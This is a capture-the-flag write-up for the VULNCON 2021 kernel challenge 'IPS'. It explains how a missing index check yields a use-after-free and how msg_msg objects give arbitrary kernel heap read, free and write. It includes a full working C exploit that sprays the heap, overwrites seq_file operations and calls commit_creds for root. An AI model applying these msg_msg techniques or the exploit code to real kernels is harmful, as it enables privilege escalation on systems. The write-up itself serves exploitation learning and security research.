0xFF tl;dr
Introduced a method to construct arbitrary address read (Kernel Heap Area/ Object Size < 0x1000) primitive based on msg_msg
.
It’s also a write-up for challenge IPS(VULNCON 2021).
0x00 Prologue
Embarking on the VULNCON 2021 challenge marked a pivotal moment in my journey into kernel exploitation. Unlike previous challenges, this was the first non-educational kernel challenge I solved, without leaning on existing write-ups for guidance. The journey to a successful exploit took 145 days—despite the actual hours invested being considerably less. This experience paralleled my initial user space challenge, ret2win, which took me over 140 hours. The initial challenge, as always, proved to be the most formidable. However, I survived!
Immense gratitude is extended to @kylebot and @zolutal, whose invaluable support and patience were instrumental in navigating through moments of uncertainty.
A heartfelt acknowledgment goes out to the generous authors. Their willingness to share insights and knowledge on exploitation techniques immensely facilitated my learning curve.
0x01 Challenge
The attachment is available here.
This challenge is not like other kernel challenges I solved - it implemented a syscall so our task for this challenge is exploiting the vulnerable syscall. The syscall IPS maintains an array of chunks while each chunk stores the user data. However, there are some interesting vulnerabilities in the syscall.
SYSCALL_DEFINE2
First, in SYSCALL_DEFINE2
, here is a double_fetch
: It fetches udata->data
twice: one for length check and another for copying. We can provide a valid length in check but provide a longer string while copying. However, Kyle told me it’s somehow hard to exploit so I just skipped this vulnerability. I’ll check why it’s hard to exploit later.
copy_storage
Second, copy_storage
didn’t check the return value of target_idx
and get_idx
may return -1
when the array is full, which means copy_storage
may copy the pointer to the array[-1]
. Also, in remove_storage
, we will not clean the pointer on array[-1]
, which causes UAF.
edit_storage
Luckily, for this function, it does nothing even if the idx
is -1 so we can edit the array[-1]
.
Others
Other options in the challenge may pollute the kernel data, such as (chunks[last_allocated_idx]->next = chunks[idx];
in alloc_storage
). But it’s hard to use them to exploit so I only focused on the combination of copy_storage
and edit_storage
0x02 Exploitation Primitives
I: Use After Free
After getting the vulnerabilities in the previous section, it’s easy to get the way to combine vulnerabilities in copy_storage
and edit_storage
:
- Allocate a chunk
- Call
copy_storage
16 times to leave a pointer onarray[-1]
- Free the allocated chunk
- So we get a pointer points to a
free()
ed chunk (size: 0x80) - Refill this chunk with some kernel objects and operate the kernel objects by
edit_storage
II: msg_msg
edit_storage
is quite strong and we can’t overwrite everything after 0xe bytes (no null byte included). I asked our kernel guys in the lab and they recommended me msg_msg
which is super flexible.
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
kmalloc
is invoked in function alloc_msg
:
- Allocate
min([0x30+size,0x1000])
- If the
size
is larger than0xfd0
keep allocating space until we have enough space to store the message. - The following
msg_msgseg
will be managed as a linked list.
For people who don’t know msg_msg
:
-
Case study zero: If we need to refill a 0x80-byte object, we can use
msg_msg
to send a0x80-0x30
message: 0x30 is the space forstruct msg_msg
. Also, we can send a0xfd0+0x28
-byte message. -
Case study one: if we want to allocate a 0x20-byte object, we can use
msg_msg
to send a0xfd0+0x18
-byte message: 0x20 is less than 0x30 so we can’t allocate a 0x20-byte chunk at the firstkmalloc
. The second malloc will allocatesize-0xfd0+0x8
bytes, where 0x8 is the size of thenext
pointer instruct msg_msgseg
.
III: Arbitrary Address Read
With msg_msg
, we can refill the freed chunk. Also, because of edit_storage
, we can edit the struct of msg_msg
so we can read arbitrary addresses (as long as freeing it would not lead to a crash):
- Edit the
msg_msg.m_ts
to make it larger than 0xfd0 so we can read the content inmsg_msg.next
- Modify
msg_msg.next
and set it to the address a little lower than the area you want to read. We’d better make sure*(size_t *)msg_msg.next==0
sincefree_msg
will try to free that pointer. - Use
SYS_msgrcv
to receive the leaked data
IV: Arbitrary Address Free
In SYS_msgrcv
, the corresponding msg_msg
struct will be freed so we can modify msg_msg.security
or msg_msg.next
to free arbitrary object (as long as we know where it is).
V: Arbitrary Address Write (on KHeap)
With the Arbitrary Address Free
primitive, it’s easy to build the AAW(Arbitrary Address Write) primitive. We can first free the object on the area we want to write and then refill it to write it.
VI: Leak KHeap-x
With the primitives above, it seems we solved this challenge but actually, you’ll find that the kernel heap is not as deterministic as the user space heap. The offset between pages of kmalloc-32
to kmalloc-128
will change. So we need a way to leak the address of Kheap-x
As we know, msg_msg
is a linked list so we can chain different sizes of messages. For example, the first msg_msg
struct is on kmalloc-128
while the second one is on kmalloc-196
. So we can trace the linked list to Kheap-x
(x≤0x1000).
For example, in this challenge, we are on kmalloc-128
and we can read everything on that page. So we can create another msg_msg(size=128)
struct on the same page and append a msg_msg(size=0x196)
to it. We can leak the address of msg_msg(size=0x196)
by reading the next pointer of msg_msg(size=128)
. Therefore, we can combine this skill with previous skills to read and write arbitrary addresses on kernel heap(object_size<0x1000
)!
0x04 Exploitation
- Use the vulnerability to edit
msg_msg.m_ts
to leak current page address(kmalloc-128
) andkernel.text
address - Combine
VI: Leak KHeap-x
andIII: Arbitrary Address Read
to leak the address ofkmalloc-32
- Spray
kmalloc-32
withseq_file.op
- Use
V: Arbitrary Address Write
to modify the function tables ofseq_file
to execute arbitrary code
0x05 Exploitation Script
// Success Rate ~= 80%
#include "libx.h"
// https://github.com/n132/libx/tree/main
/*
Libx Init Starts
*/
#if defined(LIBX)
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
size_t back2root = shell;
void back2userImp(){
__asm__("mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"mov rax, back2root;"
"push rax;"
"swapgs;"
"push 0;"
"popfq;"
"iretq;"
);
}
void libxInit(){
back2user = back2userImp;
hook_segfault();
saveStatus();
}
#endif //
/*
Libx Init Ends
*/
#define ISP 548
typedef struct {
int idx;
unsigned short priority;
char *data;} dt;
void add(char *buf, int priority){
dt dt;
dt.priority = priority;
dt.data = buf;
return syscall(ISP,1,&dt);
}
void del(int idx){
dt dt;
dt.idx = idx;
return syscall(ISP,2,&dt);
}
void edit(int idx, char *buf){
dt dt;
dt.idx = idx;
dt.data = buf;
return syscall(ISP,3,&dt);
}
void copy(int idx){
dt dt;
dt.idx = idx;
return syscall(ISP,4,&dt);
}
int main()
{
libxInit();
char *atk = malloc(0x1000);
memset(atk,'\1',0x1000);
size_t *hook = &atk[0xfd0];
char *ctx = calloc(1,0x200);
// Step1 UAF
memcpy(ctx,"Hi IPS!",8);
add(ctx,0xffff);
for(int i=0;i<16;i++){
copy(0);
}
del(0);
// LEAK KHeap-32
int msgid1 = msgQueueCreate("/home/user/1");
int msgid3 = msgQueueCreate("/home/user/3");
// We are builing the following pat
// we may fail if msgid2.chunmk1's address is smaller
// msg1
// ....
// msg2 -> msg3
// (msg3 includes a pointer points KHeap32)
size_t ct = 1;
msgQueueSend(msgid1,ctx,0x50,ct++);
// Spray 4 elements to improve the possibility that
// we have at least one object after mesg1
// The success rate ~= 80%
// We have 5 elements and we can leak as long as msgid1 is not the last one
// We can improve it with performing it x times but 0.8 is good enough for me
int msgid2 = 0;
for(int i =0 ; i < 0x5 ; i++){
msgid2 = msgQueueCreate(strcat(strdup("/home/user/"),str(i+0x61)));
msgQueueSend(msgid2,dp('\x99',8),0x50,ct++); //Mark it with '\x99'*8
msgQueueSend(msgid2,ctx,0xfd0+0x18,ct++);
}
// Spray Kheap 32 with fops2:
// Try not to use all the slot since we want to
// 1. Arbitrary free one of fops
// 2. Refill it
int fds[0x40] = {0};
for(int i = 0 ; i<0x40;i++){
fds[i] = open("/proc/self/stat",0);
}
edit(-1,strcat(realloc(dp('\xff',2+8),0x80),p64(0xfff)));
msgQueueMsg * res = msgQueueRecv(msgid1, 0xfff, 0);
// *Avoid put other code before refilling to make it more stable
msgQueueSend(msgid3,"Refill",0x50,ct++);
size_t off = findp64(res->mtext,0x9999999999999999,0xfff);
if(off==NULL)
panic("[-] Not able to leak msgid2");
off-= 0x30;
size_t leaked_1 = *(size_t *)(&res->mtext[off]);
info(leaked_1);
edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_1-0x10)));
// Prepare for quick refilling
msgQueueDel(msgid1);
msgid1 = msgQueueCreate("/home/user/2");
// Leak target
res = msgQueueRecv(msgid3, 0xfd0+0x10+0x30, 0);
// * again, quickly refill 0x80
msgQueueSend(msgid1,"Refill2",0x50,ct++);
size_t leaked_heap32 = *(size_t *)(&res->mtext[0xfd0+0x8+0x20]);
// Leak KHeap 32
info(leaked_heap32);
// Link the target fop strcut to msgmsg
edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_heap32+0x20-8)));
//Prepare for possible refill
msgQueueDel(msgid3);
msgid3 = msgQueueCreate("/home/user/4");
// AAF
res = msgQueueRecv(msgid1,0xfd0+0x8,0);
// Quick refill
msgQueueSend(msgid3,"Refill3",0x50,ct++);
size_t * verify = &res->mtext[0xfd0];
int ccc = 1;
int msgid = 0;
if( (0xfff & (size_t)(*verify)) == 0xfd0)
puts("[+] Good Luck!");
else{
// Build a retry loop will try to find a fop struct.
while(1){
puts("[!] Retry");
// We can quickly refill it
ccc++;
edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_heap32+0x20*ccc-8)));
// Prepare
msgid = msgQueueCreate(strcat(strdup("/home/user/"),str(ccc+0x67)));
// AAF
res = msgQueueRecv(msgid3,0xfd0+0x8,0);
msgQueueSend(msgid,"Refillloop",0x50,ct++);
msgid3= msgid;
verify = &res->mtext[0xfd0];
if( (0xfff & (size_t)(*verify)) == 0xfd0)
break;
}
}
// Refil the target
hook[0] = getRootPrivilige;
commit_creds = 0xffffffff8108a830-0xffffffff8120efd0+(*verify);
prepare_kernel_cred = 0xffffffff8108aad0-0xffffffff8120efd0+(*verify);
for(int s = 0; s<2;s++) // Tomake exploit more reliable
msgQueueSend(msgid2,atk,0xfd0+0x18,6+s);
// debug();
char win;
for(int s = 3 ; s < 0x40+3;s++){
read(s,&win,0x1);
}
}
0x06 TODO
- Page Level Fengshui
- FreeList hijacking
- Summary msg_msg
- Solve the segfault issue
- Make the exploit more stable
- Fix this blog
0x07 Articles
I listed the articles that helped me but sorry for not listing all of them since it has been a too long time so I forgot most of them.
0x08 Related Functions
0x09 Follow-Up
Segment Fault after executing code
This is because I messed the kernel heap. If I still want a root shell, I can “setsuid(‘/bin/sh’)” and gain a root shell with keeping the attacking process at background. Also, if we didn’t mess the heap too much, we can hide the system("/bin/sh")
in a segfault handler.
Make the Exploitation more stable
- Refill faster
... msgQueueMsg * res = msgQueueRecv(msgid1, 0xfff, 0); // *Avoid put other code before refilling to make it more stable msgQueueSend(msgid3,"Refill",0x50,ct++); ...
- Spray to improve the possibility to hit
// Spray 5 elements to improve the possibility that // we have at least one object after mesg1 // The success rate ~= 5/6% // We have 6 elements and we can leak as long as msgid1 is not the last one // We can improve it with performing it x times but too lazy to do int msgid2 = 0; for(int i =0 ; i < 0x5 ; i++){ msgid2 = msgQueueCreate(strcat(strdup("/home/user/"),str(i+0x61))); msgQueueSend(msgid2,dp('\x99',8),0x50,ct++); //Mark it with '\x99'*8 msgQueueSend(msgid2,ctx,0xfd0+0x18,ct++); } // Spray Kheap 32 with fops2: // Try not to use all the slot since we want to // 1. Arbitrary free one of fops // 2. Refill it int fds[0x40] = {0}; for(int i = 0 ; i<0x40;i++){ fds[i] = open("/proc/self/stat",0); }
- Retry when it’s possible
msgQueueSend(msgid3,"Refill3",0x50,ct++); size_t * verify = &res->mtext[0xfd0]; int ccc = 1; int msgid = 0; if( (0xfff & (size_t)(*verify)) == 0xfd0) puts("[+] Good Luck!"); else{ // Build a retry loop will try to find a fop struct. while(1){ puts("[!] Retry"); // We can quickly refill it ccc++; edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_heap32+0x20*ccc-8))); // Prepare msgid = msgQueueCreate(strcat(strdup("/home/user/"),str(ccc+0x67))); // AAF res = msgQueueRecv(msgid3,0xfd0+0x8,0); msgQueueSend(msgid,"Refillloop",0x50,ct++); msgid3= msgid; verify = &res->mtext[0xfd0]; if( (0xfff & (size_t)(*verify)) == 0xfd0) break; } }